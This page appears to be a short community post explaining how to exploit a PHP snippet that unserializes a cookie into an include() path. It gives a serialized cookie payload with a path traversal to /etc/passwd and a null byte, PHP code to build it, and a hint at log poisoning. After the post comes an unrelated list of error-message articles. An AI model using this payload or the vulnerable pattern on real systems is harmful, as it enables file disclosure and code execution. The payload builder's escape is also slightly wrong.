how to use this bugs unserialize()

简介:  quite obvious, you need to set a cookie like this:user_settings=a:1:{s:4:"lang";s:32:".
 <?php

$settings=unserialize($_COOKIE[user_settings]);
include("include/lang/".$settings['lang'].".php");

?>
quite obvious, you need to set a cookie like this:

user_settings=a:1:{s:4:"lang";s:32:"../../../../../../../etc/passwd[null char]";}


it is the result of:

[code lang=php]

<?php

$settings=array();
$settings['lang']="../../../../../../../etc/passwd/x00";
$settings=serialize($settings);
echo $settings;

?>

[/code]

the same with apache logs or something...
where you have injected some php code
目录
相关文章
|
3月前
|
PyTorch 算法框架/工具 Python
Traceback (most recent call last):WARNING: Dataset not found, nonexistent paths:
这篇文章描述了在使用YOLOv5进行训练时遇到的"Dataset not found"错误,分析了可能的原因,包括网络连接问题和数据集路径配置错误,并提供了相应的解决方法,如检查网络设置和确认数据集文件的存放位置。
Traceback (most recent call last):WARNING: Dataset not found, nonexistent paths:
undefined reference to symbol 'dlsym@@GLIBC_2.17' libdl.so: error adding symbols: DSO missing from c
undefined reference to symbol 'dlsym@@GLIBC_2.17' libdl.so: error adding symbols: DSO missing from c
575 0
|
5月前
|
Python
SyntaxError :invalid syntax错误解决办法
SyntaxError :invalid syntax错误解决办法
1476 1
|
4月前
|
JavaScript
Error loading saved preferences: ~/.vuerc may be corrupted or have syntax errors. Please fix/delete
Error loading saved preferences: ~/.vuerc may be corrupted or have syntax errors. Please fix/delete
|
缓存 JavaScript
Error: EPERM: operation not permitted, mkdir ‘C:\Program Files\nodejs‘TypeError: Cannot read proper
Error: EPERM: operation not permitted, mkdir ‘C:\Program Files\nodejs‘TypeError: Cannot read proper
135 0
|
6月前
|
编译器 C语言
gcc编译警告:warning: suggest parentheses around assignment used as truth value
gcc编译警告:warning: suggest parentheses around assignment used as truth value
299 0
TypeError: custom() got an unexpected keyword argument ‘path‘
TypeError: custom() got an unexpected keyword argument ‘path‘
147 0
【hacker的错误集】DeprecationWarning: find_element_by_* commands are deprecated.
DeprecationWarning: find_element_by_* commands are deprecated. Please use find_element() instead。依旧是使用单词意思分析报错原因
143 0
【hacker的错误集】DeprecationWarning: find_element_by_* commands are deprecated.
|
Python
SyntaxError: Missing parentheses in call to 'print'
SyntaxError: Missing parentheses in call to 'print'
142 0
下一篇
无影云桌面